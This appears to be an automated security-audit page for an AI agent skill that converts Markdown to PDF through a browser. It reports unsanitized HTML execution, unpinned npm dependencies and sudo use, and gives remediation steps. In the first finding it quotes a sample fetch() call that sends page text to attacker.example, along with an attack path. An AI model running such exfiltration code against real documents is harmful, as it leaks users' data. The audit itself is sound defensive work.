Back to skill

Security audit

md-pdf

Security checks for vulnerabilities and agentic risk

Overview

This Markdown-to-PDF skill is mostly purpose-aligned, but its browser pipeline can execute active Markdown/HTML in an existing or remote browser and does not clearly warn users about the data exposure risk.

Review before installing. Use the browser pipeline only with a trusted local or access-controlled browser, avoid processing sensitive or untrusted Markdown through it, and prefer adding sanitization, JavaScript disabling, request blocking, local emoji assets, and pinned npm dependencies with a lockfile before routine use.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/md2pdf_browser.js:18
Finding

Unsanitized Markdown permits active browser content execution

Content
View full analysis
fetch("https://attacker.example/collect", { method: "POST", mode: "no-cors", body: document.documentElement.innerText }); ``` Event handlers, iframes, forms, images, stylesheets, and other network-capable elements can also be included. Rendering is performed in the browser reached through the supplied CDP endpoint, so requests originate from the browser host and can reach resources available to that host. ### Attack Path 1. An attacker creates a Markdown document containing a script, event handler, iframe, or malicious resource URL. 2. The attacker persuades a user or automated service to process the document with `scripts/md2pdf-browser.sh`. 3. `marked.parse()` preserves the document's raw HTML. ...[truncated 988 chars]
Remediation
View remediation
{ const url = request.url(); if (url === 'about:blank') { request.continue(); } else { request.abort(); } }); ``` 5. Bundle Twemoji assets locally instead of loading them from an external CDN. 6. Add a restrictive content-security policy that prohibits scripts, frames, forms, navigation, and unapproved network destinations. 7. Use a dedicated, temporary browser profile with no authenticated sessions, extensions, saved credentials, or access to sensitive browsing state. 8. Restrict the CDP endpoint to localhost or an authenticated, encrypted administrative channel. Do not expose an unauthenticated CDP service to a network. 9. Treat all input Markdown as untrusted and document the browser pipeline's security boundary. ]]>

T08 · Insecure Dependencies

Warning
Location
scripts/md2pdf-browser.sh:36
Finding

Runtime installation of unlocked npm dependencies creates supply-chain exposure

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Findings (12)

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The skill explicitly recommends connecting to an existing CDP browser endpoint, including a non-local example (http://192.168.1.30:9222), but does not warn that the Markdown/HTML content may be sent to and rendered by that remote browser service. This can expose sensitive document contents to another host or browser instance, especially if the endpoint is remote, shared, or untrusted, making the omission a real confidentiality risk.

Content

No source excerpt is available for this finding.

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
70% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/install_deps_ubuntu.sh (reported line 12)May include surrounding context.

sh
SUDO=""
if [[ "${EUID:-$(id -u)}" -ne 0 ]]; then
  if command -v sudo >/dev/null 2>&1; then
    SUDO="sudo"
  else
    echo "[ERROR] Need root or sudo to install packages." >&2

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
70% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/install_deps_ubuntu.sh (reported line 15)May include surrounding context.

sh
SUDO=""
if [[ "${EUID:-$(id -u)}" -ne 0 ]]; then
  if command -v sudo >/dev/null 2>&1; then
    SUDO="sudo"
  else
    echo "[ERROR] Need root or sudo to install packages." >&2

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
70% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/install_deps_ubuntu.sh (reported line 20)May include surrounding context.

sh
fi
fi

$SUDO apt-get update
$SUDO apt-get install -y pandoc texlive-xetex texlive-latex-extra fonts-noto-cjk nodejs npm

echo "[OK] Installed: pandoc, texlive-xetex, texlive-latex-extra, fonts-noto-cjk, nodejs, npm"

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
70% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/install_deps_ubuntu.sh (reported line 21)May include surrounding context.

sh
fi
fi

$SUDO apt-get update
$SUDO apt-get install -y pandoc texlive-xetex texlive-latex-extra fonts-noto-cjk nodejs npm

echo "[OK] Installed: pandoc, texlive-xetex, texlive-latex-extra, fonts-noto-cjk, nodejs, npm"

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The script automatically runs npm install when dependencies are missing, which causes network access and execution of package lifecycle scripts without explicit user consent at runtime. In a skill context, this expands the trust boundary from the local repository to the npm supply chain and can lead to unexpected code execution if dependencies or lockfiles are compromised.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The generated document hard-codes lang="zh-CN", which imposes a specific language/locale on all outputs regardless of the user's content or preferences. This is a natural-language policy concern because the file provides no opt-in, alternative locale selection, or documented reason for restricting output to Simplified Chinese.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
96% confidence
Finding

The dependency uses a caret range instead of an exact version pin, which allows different installs to resolve to different package releases over time. This creates supply-chain risk and undermines reproducible builds, especially important here because marked processes untrusted markdown input in a browser-to-PDF pipeline.

Content

Scanner excerpt · package.json (reported line 8)May include surrounding context.

json
"description": "Browser-based Markdown to PDF pipeline for emoji-friendly output.",
  "license": "MIT",
  "dependencies": {
    "marked": "^16.3.0",
    "puppeteer-core": "^24.22.3",
    "twemoji": "^14.0.2"
  }

Unverifiable Dependency: marked has 13 known advisory(ies) (CVE-2021-21306 (Regular Expression Denial of Service (REDoS) in Marked); CVE-2022-21681 (Inefficient Regular Expression Complexity in marked); CVE-2026-41680 (Marked Vulnerable to OOM Denial of Service via Infinite Recursion in marked Toke) +10 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
40% confidence
Finding

Dependency has known vulnerabilities (CVEs). Using packages with unpatched security flaws exposes the environment to known exploits.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
95% confidence
Finding

The puppeteer-core dependency is not pinned exactly, so future installs may pull newer compatible releases without review. In a browser automation/PDF generation pipeline, dependency drift can introduce security regressions or malicious upstream compromise into code that drives a browser context.

Content

Scanner excerpt · package.json (reported line 9)May include surrounding context.

json
"license": "MIT",
  "dependencies": {
    "marked": "^16.3.0",
    "puppeteer-core": "^24.22.3",
    "twemoji": "^14.0.2"
  }
}

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
94% confidence
Finding

The twemoji dependency is specified with a semver range rather than an exact version, allowing non-deterministic dependency resolution. Although lower risk than direct browser-driving code, it still expands the supply-chain attack surface and can affect rendering logic used in document generation.

Content

Scanner excerpt · package.json (reported line 10)May include surrounding context.

json
"dependencies": {
    "marked": "^16.3.0",
    "puppeteer-core": "^24.22.3",
    "twemoji": "^14.0.2"
  }
}

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
82% confidence
Finding

The document prescribes Noto Sans CJK SC, where SC denotes Simplified Chinese, as the CJK main font for mixed Chinese/English documents. This is a locale-specific recommendation presented as a baseline choice, and the file does not offer a user language/locale choice or explain a region-specific requirement.

Content

No source excerpt is available for this finding.